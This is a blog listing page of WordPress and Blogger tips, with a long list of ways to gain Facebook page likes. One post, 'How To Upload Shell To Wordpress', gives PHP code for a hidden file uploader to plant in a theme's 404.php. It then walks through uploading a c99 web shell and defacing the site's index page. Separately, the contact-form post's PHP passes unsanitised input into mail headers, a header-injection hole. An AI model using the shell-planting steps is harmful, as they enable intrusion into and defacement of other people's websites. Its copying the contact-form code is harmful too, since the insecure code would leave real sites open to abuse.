Latest Post
Showing posts sorted by relevance for query Wordpress trick. Sort by date Show all posts
Showing posts sorted by relevance for query Wordpress trick. Sort by date Show all posts

Lock Your Wordpress Sites Index File(Wordpress trick)

As we know wordpress is very popular CMS but its also difficult to save your wordpress site from hacking.I am sharing now a effective tips to make strong your wordpress security.How to lock your wprdpress index file? Look here

wordpress security

we cant see the index file of wordpress and it strengthen your wordpress security
Now see here

We can access wp index file and this sites are vulnerable to hack
Now question how to off your index ?

Login to your hosting cpanel and paste the code in your .htaccess file then save the file then if you or anybody want to access your wp index file this will show   403 Permission Denied you do not have permission for this request /wp-content/uploads/

# BEGIN WordPress
Options -Indexes

RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ – [L]
RewriteRule ^login/?$ /wp-login.php [QSA,L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

# END WordPress 
 Disclaimer: Before pasting code take the backup of your .htaccess file


Add Recommended Post Slide To Wordpress Instead Of Simplereach Slide (Wordpress trick)

Few months ago simplereach introduced a recommended post slide for both Blogger and wordpress. They stopped their service. They no longer offer to upload Blogger template to their server to show the slide. But This problem already fixed for blogger with the invention of a code, generated by bloggerplugin. I already posted on How To Add Recommended Post Slider To Blogger. The simplereach wordpress plugin is disable for new users. You cant make api key though simplereach now. Moreover it has some limitations also. New bloggers wishing to use simplereach slide, are not being able to taste the service to increase page view anymore, on wordpress. Only old member of simplereach are using this service. I was looking for an alternative of simplereach slide. And i am happy that i found it. It is nRelate Flyout. Actually the simplereach slide with facebook like button, twitter button and default beautiful CSS was great. As it is no more available so we have to move on new alternative like nRelate Flyout

Download the plugin

Recommended Post Slide To Wordpress And Blogger Instead Of Simplereach Slide
Advantages Of nRelate Flyout

1. Best Alternative Of Simplereach Slide

2.Increase Page view daily

3.Reduce Bounce Rate

4.Earning Offer By their Ad Network

5.Keep Your Smooth And Do Not Make Slow

6.Customization Options For Custom CSS

7.Adding Additional Thumbnail And Many More

Installation On Blogger
Installation On Wordpress
  • Download the plugin.[already given download link] and go to plugin settings from dashboard. Ok it's done
  • Now wait 10 minute and see the awesome recommended post slider
Please share with your friends if you like and thank you for reading the article


How To Upload Shell To Wordpress(Wordpress trick)

Wordpress hacking is basically harder. If somehow you can upload a shell, the entire task become easier. As shell i like C99. Shell is something virus type file that make a web server vulnerable to hack. Now learn how to upload shell to Wordpress

Shell Upload In Wordpress

Go to Wordpress Dashboard → Appearance → Editor

Now Open the 404.Php file. copy the code and paste the following code just opening of the file


<?php echo '<b><br><br>'.php_uname().'<br></b>'; echo '<form action=""
 method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
 echo '<input type="file" name="file" size="50"><input name="_upl" type="submit"
 id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) {  if(@copy($_FILES['file']
['tmp_name'], $_FILES['file']['name'])) { echo '<b>credits :</b><br><br>'; }
 else { echo '<b>Upload Sucess !!!</b><br><br>'; } } ?>

  • Now save the file
  • Now go to
  • You will see a shell upload tab
  • If you access a 404 error page, you will also see that upload tab
  • Now Upload c99 or c55 shell
  • Afterwards chnage the index.php file in public_html using shell
  • Happy Hacking :P Enjoyed the article ? Please share if you like. Thank you for reading


    How To Make PHP Contact Form In Wordpress(Wordpress trick)

    We can easily put contact form in wordpress using plugins. But plugins make your wordpress site loading slow and can lead to vulnerable .Its easy to make a custom PHP contact form. It is also very helpful on skill of 

    PHP learning. And I am using PHP contact form in my wordpress Blog :)

    You have 2 files, 1 HTML file and 1 PHP file

    First you will have to upload a PHP file In your web hosting.Here is the PHP file

    <?php $name = $_POST['name'];
    $email = $_POST['email'];
    $message = $_POST['message'];
    $formcontent="From: $name n Message: $message";
    $recipient = "Your Target Email Address";
    $subject = "Contact Form";
    $mailheader = "From: $email rn";
    mail($recipient, $subject, $formcontent, $mailheader) or die("Error!");
     Open a notepad and save the code as mail.php
    If you dont have a notepad download it From Here Its very useful software for programming learning
    After that upload the mail.php file to your webhosting at public_html folder where you installed your wordpress
    Then you will find a link like this
    Now Click on Add A Page . Give title "Contact Us" of the page and Paste the following HTML code
    <form action="" method="POST">
    <p>Name</p> <input type="text" name="name">
    <p>Email</p> <input type="text" name="email">
    <p>Message</p><textarea name="message" rows="6" cols="25"></textarea><br />
    <input type="submit" value="Send"><input type="reset" value="Clear">

    You only have to change the red colored text in the code. After that publish your contact form page.You are done
    It will be difficult for newbies so comment here if getting problem
    As we need your help so share our writings or website. Thank you


    How To Make Animated Browser Title On Wordpress(Wordpress trick)

    You can Make your Wordpress browser title animated to amaze your readers. You can do this on Wordpress. You might have already seen the animated browser title animated. Follow the instruction ho to make animated browser title on wordpress

    Go to Dashboard → Appearance → Editor

    Go to header.php file and paste the following code at the end of the header.php file

    Now update the file and see

    <script language="javascript">
    var titletext="Your Browser Title"
    var repeat=true;    // SET TO true TO REPEAT, false TO "TYPE" OUT TITLE ONLY ONCE.
    var index=0;
    function scrolltitle(){
    set('scrolltitle()', 200);
     Before editing in theme always backup your theme
    Remember this will work in Joomla and Punbb and other CMS platforms
    If you like please comment here. We need your appreciation


    How To Save Bandwidth In Wordpress(Wordpress trick)

    Bandwidth Limitation Is a problem for self hosted wordpress bloggers. We provide images for our respected visitors for better understanding. Actually this images eat lots of bandwidth. You can save bandwidth if you host your images in any image hosting site.

    But Still there is a problem what if the image hosting company close their site, your all images will be gone.Sopa and Pipa can close any file or image hosting sites like megauploa. but hopefully Google is always with us. We can upload our images on blogger picasa web album. Now you can be tensionless

    Go to blogger > Create post

    Now upload your target pictures

    Your pictures are being uploaded

    Collect your images links and put it to your wordpress site

    Please share with your friends if you Fimd the post useful and thank you


    Add Animated Flying Twitter Bird in Blogger (Blog trick)

    We sometimes visit blogs and see animated flying cute twitter bird. That looks very amazing indeed. One of my visitors requested me how to add an animated flying twitter bird in blogger. Well, you can easily add flying twitter bird in both blogger and WordPress. But the procedure is different in two section.

    You already have seen the flying twitter bird in my website. Today i am only talking about blogger but how to do this in WordPress, will tell later.

    Log in to blogger > Design > Edit HTML

    Now press CTRL+F and find the following code


    Now paste following code just after </body>

    <script src='' type='text/javascript'>
    <script type='text/javascript'>
    var twitterAccount = &quot;your twitter username&quot;;
    var tweetThisText = &quot; <data:blog.pageTitle/> : <data:blog.url/> &quot;;

    You have to replace your twitter username with the highlighted color text. Save the template and see a nice animated flying twitter bird
    If you like please spend few moments to share this with your friends

    For Further Reading, 


    50 Tricks to Get More People To Like Your Facebook Page(Facebook trick)

    There are over three million active facebook pages, and these pages are gaining millions of new fans every day.

    Yes, I just said fans.

    Although the button has changed from “Become a fan” to “Like,” the action of joining a brands page remains the same. Facebook pages are still fan pages.

    With Facebook’s announcement of The New Messaging there are more reasons to like Facebook, and Facebook pages, than ever.

    I hope you enjoy this post about 50 Ways to Get More People to “Like” your Facebook Page, and if you do I would really appreciate it if you share these tips with your friends, and join the ProHackingTricks fan page.

    Here are the tips:

    1. Post a Status Update

    Post a status update mentioning your facebook page.

    Don’t be afraid to outright ask people to join your facebook page.  Ask and you shall receive.

    Give them a great reason why they should join, tell them news, or find a creative way to mention and link to your page

    2. Get fans to upload and tag photos

    If you host (or attend) an event with several of your fans take a bunch of pictures, post them to your page, and then ask your friends to tag themselves in the pictures.

    If you can get your fans to upload pictures to your page, or tag themselves in pictures you uploaded, this will post to their walls as well and will lead to additional traffic for you.

    3. Offer an incentive for people to sign up

    Using some static fbml you can create a dynamic facebook landing page with a “reveal tab” that contains content that is visible only to fans of your page.

    The more valuable your incentive is, the more people will be compelled to click the “Like” button to access it.

    Examples of exclusive content could be: An exclusive Video, an exclusive whitepaper/.pdf, exclusive pictures.

    Stay tuned to ProHackingTricks.  In one of our upcoming posts will explain how to set up a “reveal tab.”

    The image below shows different levels of increasing effectiveness for acquiring new fans.

    Involver offers apps (and several of them are totally free) that make it easy to create a “Fan Gate” containing incentives, like a file or coupon, that will cause more people to “Like” your page.

    4. Contact admins of groups related to your page

    Groups are more powerful than pages in terms of their messaging ability. Pages send updates, but groups send messages directly to a users facebook inbox, triggering an email alert.

    If you contact the admin of a facebook group with some valuable content that adds value to their readers then this can help them nurture their community and help you build yours.

    5. Get people to join your page via SMS

    Send a text message to 32665 (FBOOK) with the words “fan yourusername” OR “like yourusername” (without the quotes).

    This feature is ideal when you’re in front of a live audience.

    6. Install a page Badge

    Facebook Badges are a simple, yet effective way to link to your facebook profile.

    Unlike widgets, badges are simply images, and will load much faster.

    7. Install a facebook “Like Box” into your site

    Installing a “Like Box” is an excellent way to allow visitors to your site become fans without even leaving your page.

    The like box builder tool makes it easy to customize the size of your like box, the number of connections to display, and even the color scheme.

    Shown in the image below is the rarely used “dark” color scheme.

    8. Use status tagging

    Status tagging is a cool and fairly new feature of facebook.

    This feature allows you to tag any page or person by entering the @ sign and then typing the name of the page or person you want to tag.

    9. Suggest your page to friends

    Use the “suggest to friends” feature of your page. Use this feature sparingly. Personally, I try to only invite people go my page once because I know it annoys me when multiple people invite me.

    If you have many friends you might want to consider using the “invite all” Google chrome extension, rather than clicking hundreds or thousands of times.

    10. Install a Like Button into your site

    Installing a like button allows visitors to like your page, and when they do this posts the their activity stream.

    This can send more traffic to your site and if you have a facebook “Like Box” and other content promotion your fan page, since this will help you convert your visitors into fans.

    11. Connect your page to Twitter

    Connecting your page to Twitter is an excellent way to convert your twitter followers into facebook fans.

    Using this strategy will cause all of your posts to be sent to twitter, with a link back to the facebook version of the post.

    12. Link to Your Page as  a Place of Employment

    The info box uner profile pictures is being phased out, so now if you want an omnipotent link on your profile to your page you will need to list your Page under employment.  Once you do this your Facebook Page will appear under your name on your Profile.

    13. Install commenting on your landing page

    This will allow people to comment on your page, even if they are not a fan.

    Any comments made can broadcast to news feeds and lead to more traffic to your page.

    Setting up facebook commenting requires registering a facebook application, so act on this tip with caution unless you are comfortable with code.

    14. Leverage Traditional Media

    Since facebook is so widespread you can use any forms of traditional media and achieve results.

    Newspapers, Media Buys, Radio, and TV all work, but are often very costly.

    To maximize your promotion offer a free gift to those who join you page.

    15. Newsletter Promotion

    If you do email marketing send a message to your subscribers letting them know about your fan page and consider including a link to your fan page in every email.

    16. Email Signature

    Every email you send is an opportunity to link to your facebook page.

    Check out the email signature tool wisestamp for a creative way to link to your social profiles.

    17. Get business cards promoting your Facebook page

    Business cards are cheap.

    You can get 500 business cards from Vista Print for $1.99.

    For this minimal investment you can get up to 500 new fans for your page!

    Throw a link on your card and people will almost certainly check it out.

    If you’re pressed for space in your design all page urls can be shortened from to, or

    For example,,, and all point to the same page.

    18. Fiverr

    Fiverr is an online marketplace where services are sold for five bucks.

    Check out their “Social Marketing” and “Advertising” section and here you will find some people who are willing to suggest your page to 5,000 of their friends for just $5.

    You will need to make the person who will suggest your page to their friends an admin in order for them to do this for you, but if you are willing to place your trust in someone to do this and they come through for you this will allow you to pick up dozens if not hundreds of new fans.

    19. Create a Landing Page with Static FBML

    By creating a custom landing tab for your facebook page you can increase the conversion of visitors to fans.

    20. Run a “fans only” contest

    An excellent way to run a fans only contest is using wildfireapp.

    There are rules and regulations around running a contest on facebook so be sure to check out the facebook Statement of Rights and Responsibilities (“Statement”) before you run one.

    21. Link to your page from your profile

    Edit your Facebook profile information to include promotion for your Fan Page.

    At the bottom of the info section of your profile you can include links to any websites you are affiliated with.

    The more links you can build to your Page, the more traffic you will be able to send to your Facebook Fan Page. I am constantly seeking new opportunities to build links that will send traffic to my Fan Page.

    22. Blog Commenting

    Comment on blogs and in the website section use a link to your fan page.

    23. Link to your facebook page from your linkedin profile

    Linkedin gives every user three slots for links to whatever you’d like right on your profile.

    You can make the anchor text of these links whatever you like, so I recommend using a call to action such as: Join my facebook page.

    24. Upload video to facebook

    Facebook video is very underrated, and exceptionally powerful.

    When you embed a facebook video on another website this video includes a watermark link in the top left corner to the fan page it came from.

    25. Watermark your videos with a link to your website

    Using a video editing program include a link to your website.

    I use camtasia to add my watermarks, and to record any screencast I create, and this program comes with a free 30 day trial.

    26. Create a memorable URL

    If you go to you will be able to create a custom URL for your page.

    Remember that this cannot be changed once it is set, so choose wisely.

    27. Deliver an exceptional experience

    Although facebook pages are no longer officially considered “fan pages” if you work to create fans of your brand many of them will certainly seek out and join your facebook page.

    Strive to deliver an awesome experience for those who interact with your brand. Go above and beyond when engaging with your community and they will spread the word.

    A famous article called 1,000 true fans maintains that they are all you need to create a thriving business. Don’t try just to get people to click “like” but instead seek to create raving true fan who will spread your word far and wide.

    28. Link it up

    This tip comes from @garyvee and it’s a good one: link it up!

    Hyperlinks are what weave the web together so use them often and every time you do you are opening up another gateway into your fan page.

    29. Flip the funnel

    Drive your fans back to your website for new blog posts.

    Make sure that your blog has social sharing and many of your fans will “like” your blog posts and tweet it out to their followers on twitter as well.

    30. Track your growth with Facebook insights

    Facebook insights shows you how many fans you have over time, and some fairly detailed demographic information as well.

    Using this knowledge you can analyze what activities drive the most growth, and then duplicate your success.

    31. Analyze your demographics with insights

    Facebook demographics are a powerful feature of insights that allows you to determine the gender and age of the people in your page.  Once you know this information you can focus your content to appeal to the age group and gender of your fans.

    Here is the demographic information of the FacebookFlow fan page:

    32. Talk and Blog about your page

    Word of mouth does not start itself. Get the conversation going by mentioning your facebook page in blog posts and in every day conversation.

    33. Learn more about Facebook

    The more you know about facebook the more you can use this knowledge to drive the gowth your community.

    34. Drive more traffic to your website

    Use these tips to get more free traffic to your website. Make sure that your “Like Box” is featured prominently, and plenty of this traffic will “Like” your page.

    35. Produce Epic Content

    If your blog content is epic this will drive the growth of your page in a serious way.

    Epic content has the best chance of going viral and if a blog post goes viral this also causes it to move up in the rankings in Google, leading to even more traffic, a percentage of which will convert to fans.

    36. Install a like button into your posts

    Installing a like button into your posts will help drive extra traffic to your posts and it will also show that facebook is an integral part of your brand.

    If you have a self hosted wordpress blog I recommend installing the WP FB Like plugin.

    The more you can integrate facebook with your site the more likely people will be to join your facebook page.

    37. Make a Facebook like sign

    Blue Sky Factory created a  Facebook “Like” sign tool that you can use to create a cool image that will help promote your facebook page.

    38. Buy Them

    Although I do not recommend this option, there are several services out there that sell facebook likes.

    The first 1,000 fans are usually the hardest to get so a service like this might help you get the critical mass needed to get more genuine organic fans.

    39. Run a targeted ad campaign

    Facebook advertising is exceptionally powerful due to the ability it offers to hyper target your market.

    Facebook ads can be targeted based on age, location, and interests.

    40. Turn your customers into fans

    If someone likes you enough to buy your product then there is a good chance that they will like you on facebook as well.

    Rig up your “thank you” page with a facebook “Like Box” and you’ll be good to go!

    41. Advertise your page

    The more you advertise your page the more fans you will be able to achieve.

    Facebook advertising is a smart way to promote since you can target specific demographic and interest groups.

    You will need a sales funnel in place in order to justify an advertising budget and I recommend setting this up prior to advertising on Facebook.

    42. Use Hootsuite to manage your page

    By using Hootsuite to manage your facebook pages you can maximize engagement by scheduling your posts ahead of time to go out when they will get the most attention.

    Facebook posts get the most engagement early in the morning and a few hours before bed.

    43. Get an attractive profile picture

    A picture says a thousand words, so to really optimize your business page you should use the largest profile picture possible.

    Currently the maximum profile picture size is 200 x 600 pixels.

    44. Do a “fan of the month” promotion

    By highlighting one of your best fans every month you indirectly encourage fans to engage more, so that they can win the coveted fan of the month title the next month.

    Offer a monthly prize, such as a cool free product or service related to your brand, and the competition for this title will only increase.

    45. Message your friends and ask them to join

    This tried and tested method takes more ground work, but this method will allow you to build relationships and target the friends that you think are the most relevant to your page.

    46. Include a link to your fan page in your forum signature

    If you are active in any forums you will have the option to attach a “signature” to every post that you write.

    Throw a link in your signature to your facebook page, and it will be clicked.

    Do your best to add value and answer questions with your posts, and people will be more inclined to click your link and join your page.

    A link with a call to action is more likely to get clicked than a link alone, so go with “Join my Facebook Page:” instead of simply: “”

    47. Create a redirect URL

    Creating a redirect to your facebook fan page is one way to “presell” the people who click it on joining your page.

    For example, if your link is: anyone who clicks it will probably join your page.

    48. Give away fan page swag

    Websites like Zazzle make it easy for people to customize swag, such as the nifty “you like this” t-shirt below.

    If you gave away shirts (or mugs, or stickers) like this with your facebook url included you could easily amass an army of walking billboards for your facebook page.

    49. Find more facebook friends

    The more friends you have, the better your chances will be that some of these friends will join your fan page.

    Facebook has a “Find Your Friends Tool” that allows you to import your contact list from a variety of email clients, or an email list.

    This tool also displays “People you may know” which I have found is very good at suggesting people that have many mutual friends as me.

    50. Share this article with your facebook friends

    If you share this post with your facebook friends and it will become obvious to them that getting more fans important to you, and if you have included a link to your facebook page in your info box or the “Website” section of your website there is a good chance that they will click it.


    How To Add Image Magnifier In Blogger Using Jquery Effect (Blog trick)

    Magnifier Image effect is an awesome image effect that enlarge images or screenshot on both blogger or wordpress when mouse hover. Image effect makes images more special and beautiful. This is one of the most nice image effect and also worth for using on your blog. But how to add image magnifier effect in blogger ? Don't worry just follow the instruction step by step

    • Go to Blogger DashboardDesignEdit HTML
    • Backup your Template before making any changes to your blog
    • Now Expand Widget Templates
    • Find the code shown below using [ctrl+F]

    Now find the following code


    Now copy and paste the following code just before or above the just mentioned above

    <script type="text/javascript" src=""></script>
     <script type="text/javascript" src=""> </script>

  • Now save the template

  • Now for showing effect on images just follow the below instraction just like this

    <img class="magnify" style="width: 210px; height: 250px;" src="YOUR IMAGE URL" />

    Enjoyed the article ? Please share if you like


    How To Remove Hello Bar Logo From Blogger (Blog trick)

    Hello bar is a sticky bar that displays announcement and important messages or link. Hello bar now a days becoming popular. But Hello bar H logo containing backlink, when a reader clicks on the logo, it redirects to hello bar homepage. A small CSS code will aid you to remove the Hellobar "H" logo

    Removing Hello Bar logo From Wordpress

  • Log in to your site

  • Now you have to add the following CSS code In header.php file

  • Open header.php file and add the following CSS code above </head>

  • <style type='text/css'>
    a#hellobar-logo, a#hellobar-logo:link, a#hellobar-logo:visited {

  • Now save the file and done

  • Removing Hello Bar logo From Blogger

  • Go to Blogger dashboard → Design → Edit html

  • Now add the following CSS code just above ]]></b:skin>

  •  a#hellobar-logo, a#hellobar-logo:link, a#hellobar-logo:visited {

  • Now Save

  • I hope you all enjoyed the tutorial. Please share if you like


    Copyright © 2011. Tricks Duniya - All Rights Reserved